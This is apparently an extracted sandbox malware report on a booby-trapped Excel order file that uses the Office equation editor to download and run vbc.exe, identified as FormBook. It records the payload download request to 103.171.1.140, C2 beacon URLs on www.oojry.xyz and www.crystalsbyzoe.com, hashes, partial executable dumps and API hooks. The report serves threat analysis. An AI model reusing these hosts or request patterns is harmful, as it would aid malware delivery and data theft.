.Y...............e2...?.0.t.R}ZI..`.&.......rO..U.mK..N.8..C...[..\....G.^y.U.....N.....eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo.....'......^w..y....O.RSS....?.."L.+c.J....ku$._...Av...Z...*Y.0.
z..zMsrT.:.<.q.....a.......O.....$2.=|.0.0..A.v..j....h..P.Nv......,.0....z=...I@8m.h.:]..B.q.C.......6...8qB......G\.."L.o..[)..Z.XuJ.pE..Q.u.:..$[K..2.....zM=`.p.Q@.o.LA../.%....EFsk:z...9
.z......>z..H,.{{{...C....n..X.b....K.:..2,...C....;.4....f1,G.....p|f6.^._.c..'''Qll..........W.[..s..q+e.:.|..(....aY..yX....}...n.u..8d...L...:B."zuxz..^..m;p..(&&....

C:\Users\user\AppData\Local\Temp\nssE7A3.tmp\folvcfp.dll

Process: C:\Users\Public\vbc.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 120832

Entropy (8bit): 6.282005604227144

Encrypted: false

SSDEEP: 1536:QC73nuxwSHWtPMATKVLWKSg+ZuDZxinIKjyozssu03z+ICtrmlkx7SzmlonptA1q:ewqWtUpcU+Uin+ozvDGtN7su1fKuuJ

MD5: CF3B520E83AF10CD581888715E23C700

SHA1: A03E9DA020C79A0B110E05BB8CFFCAEC9275720B

SHA-256: 57E5B81AA1D1C628DD849E005E32B19A3DC3AF9E3F5797F5770AA2462D13B489

SHA-512: A5E773947DE896269C9BA6E92731F69FBD3E5AF185A623321B3D98760F9C0287F92950E762C300AF498D9AB5F47D01ADC76B2C3CED2634F94DDFEB9C385D2C37

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
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Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........x...+...+...+9u.+...+..9+...+...+...+..8+...+...*...+...*...+...*...+...+...+0..*
...+0..*...+5.'+...+0..*...+Rich...+................PE..L...Y..a...........!.....l...h............................................... ......................................p...L.........................................................................
......@............................................text...4j.......l.................. ..`.bss....D................................rdata..rN.......P...p..............@..@.data...............................@....rsrc.........................
......@..@..........................................................................................................................................................................................................................................................
......................................

C:\Users\user\AppData\Local\Temp\nssE7A3.tmp\folvcfp.dll

C:\Users\user\AppData\Local\Temp\y6piyw2sm9gz

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 216294

Entropy (8bit): 7.993636820458112

Encrypted: true

SSDEEP: 6144:k6s9fJzSq1DVbiGQtqXsjh0xxYAUO/j4zRFWJl+:k6sLf1B6gsjh0xxYAJ4z/mk

MD5: E76442BDF2DEBE302E1E2E2A90709AAE

SHA1: 9FD8EC630AE06DC5C09654237C97628F8822B902

SHA-256: A44978D726C8B7792812E38267471DA5BC4D968944264E0F139EF1438133476F

SHA-512: E45EDFDBE599321B7F46DBAAE242A7B179E09980EB3D89415456996368B454FEC1B4744DB906E5383A72112EE3CA421E81D771A7EE17B6FAE71BFE59320116A4

Malicious: false

Preview:
.. 2.e...qC)....X.....5..#].<u5... ..`*|,q.m.D.m.J..d.u#.!N.|?..ML...t..]>....)..L.Z.t...._..g.!Q........|........CD.;..K...J.x.Bv%\....*...s.9.z.Z. ).i...aO..F2.cP].$....5..t>v..R.p.^..=.....gP.9..].
`...........b...H#...q.v.....I..#.....u.r./d..Lv.f..e...J......,...G..-U(.R..>/.e. ..`*|.q.+.D.m.J..d.u#.!..|..unL..Q.y+..{...^b....-0e|4.;...:!.....{..Xl^.L...O!.D.;..K.q...^Y{......T..fICB..Z]...N....>...../.
.>.F..5..t>v..j..^..\......H....].`...c. .B..A.X..H#...q....TI..i.....u.../dD.L.....e...J9.....,...G`.-U(.R..u5... ..`*|,q.m.D.m.J..d.u#.!..|..unL..Q.y+..{...^b....-0e|4.;...:!.....{..Xl^.L...O!.D.;..
K.q...^Y{......T..fICB..Z]...N....>...../..>.F..5..t>v..R.p.^.X........Q....].`...c. .B....X..H#...q....TI..i.....u.../dD.L.....e...J9.....,...G`.-U(.R..u5... ..`*|,q.m.D.m.J..d.u#.!..|..unL..Q.y+..{.
..^b....-0e|4.;...:!.....{..Xl^.L...O!.D.;..K.q...^Y{......T..fICB..Z]...N....>...../..>.F..5..t>v..R.p.^.X........Q....].`...c. .B....X..H#...q.

C:\Users\user\AppData\Local\Temp\~DF6B82F0CFA0E9C1FD.TMP
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34B
FE

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB1A16108E122F889.TMP
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34B
FE

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEAB75EE5AC992C85.TMP
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 512

Entropy (8bit): 0.0

Copyright Joe Security LLC 2021 Page 20 of 30



Encrypted: false

SSDEEP: 3::

MD5: BF619EAC0CDF3F68D496EA9344137E8B

SHA1: 5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5

SHA-256: 076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560

SHA-512: DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34B
FE

Malicious: false

Preview:
..............................................................................................................................................................................................................................................................................
..................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEAB75EE5AC992C85.TMP

C:\Users\user\AppData\Local\Temp\~DFFDD773F6984E1177.TMP
Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: CDFV2 Encrypted

Category: dropped

Size (bytes): 234408

Entropy (8bit): 7.970302671615709

Encrypted: false

SSDEEP: 3072:hOEg6uY3Uvbl5/SoXWBke9ZRS3gjk5p3JttrLzUT5x65QlxdSrf552fnh6cvrGWh:+aEx5qoXHeBTjw3J7mx65Q/dCfnknUQ

MD5: BC2D171F6EA23A58CE5CCA820869295C

SHA1: DAFD3A3276C12EE6D20206573D65D6FB10E6AF7B

SHA-256: 408C41F67CC40208F1518B050DB8B6D0F315DAE817E26C5AE43EFE917506C226

SHA-512: F46D62B6CD47184DB12BD302DEF63E945063E471BBAB3F02483C9C66C83D751E65C97D3F4F4D1D5F4D08BAD1E1FD3BB882F97A85F363945A1659913CE47077B3

Malicious: false

Preview:
......................>.......................................................................................................................................................................................................................................................
..............................................................................................................................................................................................................................................................................
.............................................................................................. ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D.
..E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\Desktop\~$New order - C.S.I No. 04183.xlsx

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 165

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/FFDJw2fV:vBFFGS

MD5: 797869BB881CFBCDAC2064F92B26E46F

SHA1: 61C1B8FBF505956A77E9A79CE74EF5E281B01F4B

SHA-256: D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185

SHA-512: 1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D

Malicious: true

Preview:
.user                                                 ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Category: dropped

Size (bytes): 475934

Entropy (8bit): 6.263679071719373

Encrypted: false

SSDEEP: 6144:2Gi2L3NWrOG5s3ytYBz5Sy/M3L+uM4jMzfWO/j4zR03bze/XOpSmREM3:hUb5krzwR3LIfL4zq3baOEEz3

MD5: 4D1B51FE258BE32D346B3507ABEDDCB3

SHA1: 977A34967B0B42A19969DD1106EF74439D306DCE

SHA-256: 0C6D57557120DECEDC9A102794EA95BCAF64529EB1F18058E4DF62C34B724988

SHA-512: 27330F64606CFEBBE834E2D419E5F34207C1BFBBAE22DA52763C8FE8E48A001D52E2C5AB1B93EE9CFD2E5B4DF02C09628F82BE2CD5D340CA0711C004AED1E
C12

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........uJ...$...$...$./.{...$...%.:.$.".y...$..7....$.f."...$.Rich..$.................PE
..L......H.................\...........0.......p....@.......................... ...............................................t.......p..p............................................................................p...............................tex
t...h[.......\.................. ..`.rdata.......p.......`..............@..@.data...X\...........t..............@....ndata...................................rsrc...p....p.......x..............@..@............................................
..............................................................................................................................................................................................................................................................................
..............................
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Static File Info

General
File type: CDFV2 Encrypted

Entropy (8bit): 7.970302671615709

TrID: Generic OLE2 / Multistream Compound File 
(8008/1) 100.00%

File name: New order - C.S.I No. 04183.xlsx

File size: 234408

MD5: bc2d171f6ea23a58ce5cca820869295c

SHA1: dafd3a3276c12ee6d20206573d65d6fb10e6af7b

SHA256: 408c41f67cc40208f1518b050db8b6d0f315dae817e26c5
ae43efe917506c226

SHA512: f46d62b6cd47184db12bd302def63e945063e471bbab3f0
2483c9c66c83d751e65c97d3f4f4d1d5f4d08bad1e1fd3b
b882f97a85f363945a1659913ce47077b3

SSDEEP: 3072:hOEg6uY3Uvbl5/SoXWBke9ZRS3gjk5p3JttrLzUT
5x65QlxdSrf552fnh6cvrGWh:+aEx5qoXHeBTjw3J7mx6
5Q/dCfnknUQ

File Content Preview: ........................>...............................................................
.........................................................................................
..............................................................................

File Icon

Icon Hash: e4e2aa8aa4b4bcb4

Snort IDS Alerts

Network Port Distribution

Network Behavior

Timestamp Protocol SID Message
Source
Port

Dest
Port Source IP Dest IP

11/25/21-
19:25:03.131291

TCP 1201 ATTACK-RESPONSES 403 Forbidden 80 49168 34.246.239.131 192.168.2.22

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Nov 25, 2021 19:24:41.533070087 CET 192.168.2.22 8.8.8.8 0x8eb8 Standard query 
(0)

www.oojry.xyz A (IP address) IN (0x0001)

Nov 25, 2021 19:25:02.965919971 CET 192.168.2.22 8.8.8.8 0xc18c Standard query 
(0)

www.crysta
lsbyzoe.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Nov 25, 2021 
19:24:41.570363998 
CET

8.8.8.8 192.168.2.22 0x8eb8 No error (0) www.oojry.xyz 104.21.82.75 A (IP address) IN (0x0001)

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Nov 25, 2021 
19:24:41.570363998 
CET

8.8.8.8 192.168.2.22 0x8eb8 No error (0) www.oojry.xyz 172.67.198.90 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) www.crysta
lsbyzoe.com

web.jimdosite.com CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) web.jimdos
ite.com

dolphin-renderserve-
prod.jimdo-
platform.net

CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-re
nderserve-
prod.jimdo-
platform.net

dolphin-render-
ce5083-1529577379-
1289163597.eu-west-
1.elb.amazonaws.com

CNAME 
(Canonical 
name)

IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

34.246.239.131 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.208.193.50 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

54.154.18.62 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.17.6.255 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.210.254.88 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

54.171.119.91 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

52.209.227.237 A (IP address) IN (0x0001)

Nov 25, 2021 
19:25:03.035269022 
CET

8.8.8.8 192.168.2.22 0xc18c No error (0) dolphin-render-
ce5083-
1529577379-
1289163597.eu-
west-1.elb.am
azonaws.com

54.73.207.172 A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

            
103.171.1.140

            
www.oojry.xyz

            
www.crystalsbyzoe.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 103.171.1.140 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

HTTP Request Dependency Graph

HTTP Packets
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Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
19:23:23.232670069 CET

0 OUT GET /384500000_1/.vbc.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 103.171.1.140
Connection: Keep-Alive

Nov 25, 2021 
19:23:23.525060892 CET

1 IN HTTP/1.1 200 OK
Date: Thu, 25 Nov 2021 18:23:23 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.3.31
Last-Modified: Thu, 25 Nov 2021 04:13:29 GMT
ETag: "7431e-5d195326272a0"
Accept-Ranges: bytes
Content-Length: 475934
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e5 75 4a a8 a1 14 24 fb a1 14 24 fb a1 14 24 fb 2f 1c 7b fb a3 14 24 fb a1 14 25 fb 
3a 14 24 fb 22 1c 79 fb b0 14 24 fb f5 37 14 fb a8 14 24 fb 66 12 22 fb a0 14 24 fb 52 69 63 68 a1 14 24 fb 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 cd cd ef 48 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 
5c 00 00 00 84 02 00 00 04 00 00 e3 30 00 00 00 10 00 00 00 70 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 
00 00 00 00 04 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 
00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b0 74 00 00 b4 00 00 00 00 70 03 00 70 a0 02 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 5b 00 00 00 10 00 
00 00 5c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9c 12 00 00 00 70 
00 00 00 14 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 5c 02 00 00 
90 00 00 00 04 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 
00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 70 a0 02 
00 00 70 03 00 00 a2 02 00 00 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$uJ$$$/{$%:$"y$7$f"$Rich$PELH\0p@ tppp.texth[\ `.rdat
ap`@@.dataX\t@.ndata.rsrcppx@@

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49166 104.21.82.75 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
19:24:42.574367046 CET

504 OUT GET /og2w/?6lRd8=pSr5u6Cd6G0oArdSS5DUX/x2v0PsX7Tf+WPQrsPbuuGn2pEwuIBu1IHHNpIgTiueDUTEKQ==&
kjiDz=mH9p98O8MN HTTP/1.1
Host: www.oojry.xyz
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 25, 2021 
19:24:42.622097015 CET

505 IN HTTP/1.1 301 Moved Permanently
Date: Thu, 25 Nov 2021 18:24:42 GMT
Transfer-Encoding: chunked
Connection: close
Cache-Control: max-age=3600
Expires: Thu, 25 Nov 2021 19:24:42 GMT
Location: https://www.oojry.xyz/og2w/?6lRd8=pSr5u6Cd6G0oArdSS5DUX/x2v0PsX7Tf+WPQrsPbuuGn2pEwuIBu1IHH
NpIgTiueDUTEKQ==&kjiDz=mH9p98O8MN
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=1f333Q7YxD9wZSdpuenGrz6d%2BGjRyy
Im1tuxT%2BmFwQn0h72Dl79IkVH%2B2MFqfwt%2BkF0341pcYMNFuzeGGAi1cxsJc0u8Oz4ZTU4mQjgTypazhHcndv
PmTWMV6NDjvpE9"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6b3cea5a2864702e-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49168 34.246.239.131 80 C:\Windows\explorer.exe
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Timestamp
kBytes
transferred Direction Data

Nov 25, 2021 
19:25:03.084229946 CET

506 OUT GET /og2w/?6lRd8=HRVKk55HqKhUKEplYc9Y+k8lMJF7Npxc0OkeINx2Urv2TzIY5LS2Gl5mjz9S2np0K2vYIQ==&
kjiDz=mH9p98O8MN HTTP/1.1
Host: www.crystalsbyzoe.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Nov 25, 2021 
19:25:03.131290913 CET

506 IN HTTP/1.1 403 Forbidden
Content-Type: text/html
Date: Thu, 25 Nov 2021 18:25:03 GMT
Server: nginx
Vary: Accept-Encoding
Content-Length: 159
Connection: Close
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 
72 65 73 74 79 2f 31 2e 31 37 2e 38 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 
3e 0d 0a 
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>openresty/1.17.8.2</center></body></html>

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

Start time: 19:23:13

Start date: 25/11/2021

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding

Imagebase: 0x13faa0000

File size: 28253536 bytes

MD5 hash: D53B85E21886D2AF9815C377537BCAC3

Has elevated privileges: true

User Modules

Hook Summary

Processes

Analysis Process: EXCEL.EXE PID: 1912 Parent PID: 596Analysis Process: EXCEL.EXE PID: 1912 Parent PID: 596

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 19:23:35

Start date: 25/11/2021

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

Start time: 19:23:40

Start date: 25/11/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: "C:\Users\Public\vbc.exe" 

Imagebase: 0x400000

File size: 475934 bytes

MD5 hash: 4D1B51FE258BE32D346B3507ABEDDCB3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: EQNEDT32.EXE PID: 2680 Parent PID: 596Analysis Process: EQNEDT32.EXE PID: 2680 Parent PID: 596

General

Key CreatedKey Created

Analysis Process: vbc.exe PID: 2868 Parent PID: 2680Analysis Process: vbc.exe PID: 2868 Parent PID: 2680

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.461465178.0000000002980000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000004.00000002.461465178.0000000002980000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.461465178.0000000002980000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Antivirus matches: Detection: 100%, Joe Sandbox ML

Reputation: low

Show Windows behavior

Start time: 19:23:42

Start date: 25/11/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: "C:\Users\Public\vbc.exe" 

Imagebase: 0x400000

File size: 475934 bytes

MD5 hash: 4D1B51FE258BE32D346B3507ABEDDCB3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Analysis Process: vbc.exe PID: 1292 Parent PID: 2868Analysis Process: vbc.exe PID: 1292 Parent PID: 2868

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000000.458934235.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000005.00000000.458934235.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000000.458934235.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.495102913.0000000000700000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000005.00000002.495102913.0000000000700000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.495102913.0000000000700000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.494981815.0000000000430000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000005.00000002.494981815.0000000000430000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.494981815.0000000000430000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.494965073.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000005.00000002.494965073.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.494965073.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
